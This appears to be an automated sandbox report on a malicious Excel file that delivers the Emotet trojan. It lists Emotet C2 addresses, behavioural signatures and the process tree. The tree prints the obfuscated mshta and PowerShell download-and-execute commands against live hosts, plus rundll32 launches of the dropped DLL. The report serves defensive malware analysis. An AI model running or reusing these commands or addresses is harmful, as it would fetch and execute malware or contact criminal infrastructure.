Analysis

  • max time kernel
    118s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    19/01/2022, 18:02

General

  • Target
    898f8d42ad1155cf3f7c06028c3f6cc1.xls
  • Size 141KB
  • Sample220119-wmf49acbbj
  • SHA256 200e8c9ae00a3203aec36692f6a0a308dcc54d4b197115c599c678ebfaee3c18
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fer.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fer.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\898f8d42ad1155cf3f7c06028c3f6cc1.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3856
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1904
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1888
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1916
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:696
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3356
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:3156
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1480
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ykepvagixbd\mnrbytld.ies",gMYVMdaVjz
                    8⤵
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:564
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ykepvagixbd\mnrbytld.ies",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3548
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 1916 -s 1712
            4⤵
            • Program crash
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:3632
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
      1⤵
        PID:1372
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow
        1⤵
          PID:2664
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 408 -p 1916 -ip 1916
          1⤵
          • Suspicious use of NtCreateProcessExOtherParentProcess
          • Suspicious use of WriteProcessMemory
          PID:2932

        Network

              MITRE ATT&CK Enterprise v6

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              Downloads

              memory/696-172-0x0000028D2A126000-0x0000028D2A128000-memory.dmp

              memory/696-190-0x0000028D2A6E0000-0x0000028D2A756000-memory.dmp

              memory/696-166-0x0000028D2A0F0000-0x0000028D2A112000-memory.dmp

              memory/696-169-0x0000028D2A2A0000-0x0000028D2A2E4000-memory.dmp

              memory/696-170-0x0000028D2A120000-0x0000028D2A122000-memory.dmp

              memory/696-171-0x0000028D2A123000-0x0000028D2A125000-memory.dmp

              memory/1480-193-0x0000000004E80000-0x0000000004EA6000-memory.dmp

              memory/1480-191-0x0000000004DA0000-0x0000000004DC6000-memory.dmp

              memory/1480-200-0x0000000005170000-0x0000000005196000-memory.dmp

              memory/1480-197-0x0000000004FF0000-0x0000000005016000-memory.dmp

              memory/1480-188-0x0000000002DF0000-0x0000000002E16000-memory.dmp

              memory/1480-195-0x0000000004F90000-0x0000000004FB6000-memory.dmp

              memory/3548-219-0x0000000004F70000-0x0000000004F96000-memory.dmp

              memory/3548-207-0x0000000004A30000-0x0000000004A56000-memory.dmp

              memory/3548-221-0x0000000005160000-0x0000000005186000-memory.dmp

              memory/3548-215-0x0000000004D60000-0x0000000004D86000-memory.dmp

              memory/3548-213-0x0000000004C50000-0x0000000004C76000-memory.dmp

              memory/3548-211-0x0000000004B70000-0x0000000004B96000-memory.dmp

              memory/3548-209-0x0000000004B10000-0x0000000004B36000-memory.dmp

              memory/3548-205-0x0000000000CC0000-0x0000000000CE6000-memory.dmp

              memory/3856-137-0x00007FFB374C0000-0x00007FFB374D0000-memory.dmp

              memory/3856-131-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

              memory/3856-130-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

              memory/3856-132-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

              memory/3856-134-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

              memory/3856-138-0x00007FFB374C0000-0x00007FFB374D0000-memory.dmp

              memory/3856-133-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

              memory/3856-241-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

              memory/3856-242-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

              memory/3856-243-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

              memory/3856-244-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp